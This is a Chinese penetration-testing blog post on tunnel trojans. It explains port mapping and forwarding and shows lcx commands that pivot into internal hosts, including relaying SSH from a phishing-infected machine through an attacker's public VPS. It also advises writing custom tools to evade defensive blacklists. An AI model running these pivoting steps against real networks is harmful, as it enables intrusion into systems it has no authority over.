前言
今天開始講講木馬攻防,感覺這些內容大家應該會更感興趣一些,就從隧道木馬說起。為什么會有隧道木馬這一說呢?這是根據通信協議進行分類的。講隧道木馬之前,先講講端口映射和轉發。端口映射和端口轉發其實是一回事,原理是一樣的,由於應用場景不同,才產生了不同的含義。
場景1 端口映射
端口映射的使用,以下圖為例,這是一個在滲透測試中,比較常見的場景。
-
一個hacker通過掃描暴露到公網中的主機A ,主機A開放了一些敏感端口,而且是弱口令,導致主機A被hacker完全控制。
-
接着hacker就想往公司內網中滲透,通過在主機A監控流量或者掃描的方式,發現了主機B,但是主機B只能由主機A進行訪問,開放了80端口,而且沒有公網ip。
-
如果hacker想直接訪問主機B的 80端口,對上面的Web服務進行繼續滲透,這就需要進行端口映射,讓hacker可以遠程連接到80端口。
從上圖場景中看,端口映射是將內網主機B的80端口映射到了具有公網ip的主機A上,本質上是將一個本來無法訪問的端口映射到可以訪問的ip上了。
場景2 端口轉發
端口轉發又是另外一個場景,在滲透測試中,也很常見。如下圖所示。
-
hacker位於主機A,主機A可能是個人電腦,也可能是hacker控制的主機。
-
hacker通過發送惡意郵件的方式給主機B,主機B的用戶點開郵件,運行惡意木馬導致主機B被感染,就成了我們俗稱的“肉雞”。雖然已經有木馬運行在主機B中,但是由於主機B不在公網中,hacker無法訪問到主機B。
-
主機B運行着ssh服務,開放着22端口,hacker如果想在主機A上直接連接主機B的22端口,執行shell命令,這就需要端口轉發。
那么木馬怎么實現端口轉發,才能讓hacker訪問主機B的22端口呢? 這就需要一台主機C,一個公網的VPS,去阿里雲或者騰訊雲買。木馬的服務端運行在主機C,同時監聽兩個端口 port1 與port2,木馬的客戶端運行在主機B,分別主動連接主機B的22端口和主機C的port2,而hacker只需要主動連接主機C的port1,這樣就打通了到主機B 22端口的線路。如下圖所示。
lcx是一款內網端口轉發工具,用於將內網主機開放的內部端口映射到外網主機(有公網IP)任意端口。這個工具很早就已經有了,現在已經有跨平台的了,支持在windows、linux下使用。還有一些根據lcx源碼開發的其他版本,比如jsp版,http隧道版等等。代碼如下:
https://github.com/windworst/LCX/
下面說一下它的使用以及功能說明:
Usage of Packet Transmit:
./lcx -<listen|tran|slave> <option> [<-log|-hex|-text> file]
./lcx -about
[options:]
-listen <local port1> <local port2>
-tran <local port> <remote host> <remote port>
-slave <remote host1> <remote port1> <remote host2> <remote port2>
-hex : hex mode data dump
-text : text mode data dump
-log : save transfer log
對於場景1,可以使用lcx的tran模式來實現。假設主機A 公網ip 10.10.10.1,主機B 內網ip為192.168.1.5,開放80端口。 在主機A上運行 :
./lcx -tran 8080 192.168.1.5 80
這個時候,hacker只要連接到主機A的8080端口,即可訪問到主機B的80端口。
對於場景2,使用lcx的listen和slave模式來實現。假設主機C 公網ip 10.10.10.1,主機B 內網ip為192.168.1.5,開放22端口。 在主機C上監聽8080和8081端口:
./lcx -listen 8080 8081
在主機B上連接22端口,並連接主機C的8081端口:
./lcx -slave 192.168.1.5 22 10.10.10.1 8081
這個時候,hacker只需要連接ip10.10.10.1的8080端口,即可直接連接到22端口,執行命令。
取代lcx
使用工具很簡單,但是對這些工具的封鎖也很簡單。這些開源的網絡安全工具早就處於防御端的黑名單里。因此自己寫一個類似的工具也是一項必備的能力。 在github中就有這樣類似的項目:
https://github.com/cw1997/NATBypass
代碼很簡單,只是單個golang文件,仿照lcx是實現了listen,tran和slave功能。關鍵的代碼很簡單,對應了下圖中三個紅框圈住的三個函數。
最后
關注公眾號:七夜安全博客
- 回復【1】:領取 Python數據分析 教程大禮包
- 回復【2】:領取 Python Flask 全套教程
- 回復【3】:領取 某學院 機器學習 教程
- 回復【4】:領取 爬蟲 教程
- 回復【5】:領取 編譯原理 教程
- 回復【6】:領取 滲透測試 教程
- 回復【7】:領取 人工智能數學基礎 教程